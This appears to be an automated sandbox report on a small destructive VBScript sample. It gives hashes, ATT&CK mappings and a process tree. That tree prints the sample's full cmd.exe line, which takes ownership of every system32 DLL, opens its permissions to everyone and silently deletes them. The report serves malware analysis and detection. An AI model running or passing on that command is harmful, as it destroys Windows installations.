df23cd293cabe8742d6797d131618a7776c32e65cd4dc45a257a671f63d9e1cc

Analysis

max time kernel
141s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
09/08/2024, 20:57

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General

Target
code.vbs
Size 1KB
Sample240809-zrmpdasfpb
SHA256 df23cd293cabe8742d6797d131618a7776c32e65cd4dc45a257a671f63d9e1cc
MD5 c6e5cb9d44f96e8b43d067245ee0bae4
SHA1 25d8aa463da741a210f30c04a1915888a2686b11
SHA512 13661179b40ee19062cb868916afd5a2a6961281681056c4f5239389dd7a6c58c1411e16cc547c998fc76e73cfad1a69db68681fcee6de31cbfd975c8706797b
MD5 SHA1 SHA512

Score

8^/10

discovery exploit

Malware Config

Signatures

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
2384	takeown.exe
4872	icacls.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	WScript.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2384	takeown.exe
4872	icacls.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	WScript.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	2384	takeown.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4908 wrote to memory of 4716	4908	WScript.exe	86
PID 4908 wrote to memory of 4716	4908	WScript.exe	86
PID 4908 wrote to memory of 2376	4908	WScript.exe	90
PID 4908 wrote to memory of 2376	4908	WScript.exe	90
PID 2376 wrote to memory of 2384	2376	cmd.exe	92
PID 2376 wrote to memory of 2384	2376	cmd.exe	92
PID 2376 wrote to memory of 4872	2376	cmd.exe	93
PID 2376 wrote to memory of 4872	2376	cmd.exe	93

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\code.vbs"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4908
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16code.vbs"
  2⤵
  PID:4716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2376
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\system32\*.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2384
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\system32\*.dll /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16code.vbs

Path C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16code.vbs
Size 61B
SHA256 f3343be37159bdede808908cf79ee02a8dfb34d9aa4ccce16de1d650e7a2433b
MD5 b1995021fa8e27390d0d0031a9c0bf74
SHA1 f685a4a6a9731b3c0ec4d39743d4d45e41e53fb0
SHA512 527274d67334d8fae8c5c334bc5b3370a54ff64e0ecc8ec3203ae07e69b63d103cfe10af1deb73474dcea950bf46c95fe2a49e7fc3f42d2bdfeead48fb9723e1
MD5 SHA1 SHA512

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